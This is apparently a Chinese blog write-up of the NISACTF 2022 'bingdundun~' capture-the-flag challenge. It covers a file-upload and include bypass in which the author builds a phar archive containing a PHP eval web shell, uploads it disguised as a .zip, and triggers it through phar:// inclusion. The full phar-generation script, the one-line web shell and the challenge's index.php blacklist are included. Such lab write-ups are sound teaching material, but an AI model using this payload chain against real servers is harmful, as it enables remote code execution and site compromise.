[NISACTF 2022]bingdundun~

看题目,感觉是文件上文件上传类型

上传图片成功,发现其文件名被修改,所以不能上传 .htaccess和.user.ini文件(因为文件名被修改了)

1.随便修改文件后缀为abc上传试试,发现不行,所以判断它为白名单过滤

白名单绕过方法有:

1)MIME绕过:通过MIME信息判断文件类型

2)截断:在get请求中,url中添加截断实现后缀名修改(upload/1.php%00)。注意:post请求时,不会自动解码

4)白名单二次渲染之逻辑漏洞:条件竞争

5)文件包含漏洞

根据刚刚的尝试不会检测MIME(因为刚刚尝试MIME为image/png,并没有成功)

因为截断是在url中,在文件名后缀中不能截断,所以也不能用截断

不懂%00截断的可以看这篇博客中pass-12关Upload-labs 1-21关 靶场通关笔记(含代码审计)_upload靶场通关-CSDN博客

得到以上信息后再观察题目

发现url中有一个bingdundun的参数,值为upload。

2.猜测可能使用php伪协议。

试试php伪协议能不能读取index.php文件。

不行

再次尝试发现也不行。

猜测可能禁掉了php://filter和php://input协议。

php伪协议有以下这些

3.再次观察题目,发现他说只能上传图片和压缩包,压缩包这个提示很关键

根据以上得到的信息,大概是上传zip文件,然后使用php://zip伪协议或者php://phar(因为只有这两个和zip文件有关)

先看这两个伪协议,

phar://伪协议这个就是php解压缩报的一个函数,不管后缀是什么,都会当做压缩包来解压,用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意 PHP>=5.3.0压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件,都可以

zip://伪协议与phar://伪协议相似,但是zip是使用绝对路径,phar使用相对路径

再学习一下phar知识

phar,全称为PHP Archive,phar扩展提供了一种将整个PHP应用程序放入.phar文件中的方法,以方便移动、安装。.phar文件的最大特点是将几个文件组合成一个文件的便捷方式,.phar文件提供了一种将完整的PHP程序分布在一个文件中并从该文件中运行的方法。(类型zip文件)

使用phar生成脚本生成一个压缩文件

<?php

class test{
    var $name;
}
@unlink("test.phar");                            //删除之前创建的test.phar文件(如果有)
$phar = new Phar("test.phar");                   //创建一个phar对象,文件名必须以phar为后缀名
$phar->startBuffering();                                 //开始写文件
$phar->setStub("<?php __HALT_COMPILER(); ?>");      //写入stub
$o = new test();
$o->name = 'eval($_GET["a"])';
$phar->setMetadata($o);                                  //写入meta-data
$a='<?php @eval($_POST["cmd"]);?>)';
$phar->addFromString("test.php", $a);  //添加要压缩的文件
$phar->stopBuffering();
?>

这个脚本中的$a就是要向压缩文件中写了的代码,接着运行得到一个phar压缩文件

(注意:要修改配置信息,不然会报错)

接着将压缩的phar文件修改为zip文件上传

上传成功!!!

因为我上传的压缩包中有一个test.php文件

<?php @eval($_POST["cmd"]);?>)

尝试使用蚁剑连接

?bingdundun=phar://e3da83df4068cb95fff41a12045e184e.zip/test

这里写test.php会错误,我也没有搞明白什么原因,然后看了一下别人做的,把后缀去了

连接成功!!!

在根目录找到flag

最后查看一下index文件

//index.php
<meta charset="utf8">
<?php
error_reporting(0);
$bingdundun = $_GET["bingdundun"];
if (!$bingdundun) echo '<a href="?bingdundun=upload">upload?</a>';
if(stristr($bingdundun,"input")||stristr($bingdundun, "filter")||stristr($bingdundun,"data")/*||stristr($bingdundun,"phar")*/){
	echo "STOP!~Hacker Wont GET Bingdundun FreeDom!";
	exit();
}else{
	include($bingdundun.".php");
}
?>
<!-- 你能找到bingdundun的flag嘛,就在这个目录下 -->

发现原来包含文件加了后缀.php

所有使用phar协议最后不用加php

  • 10
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值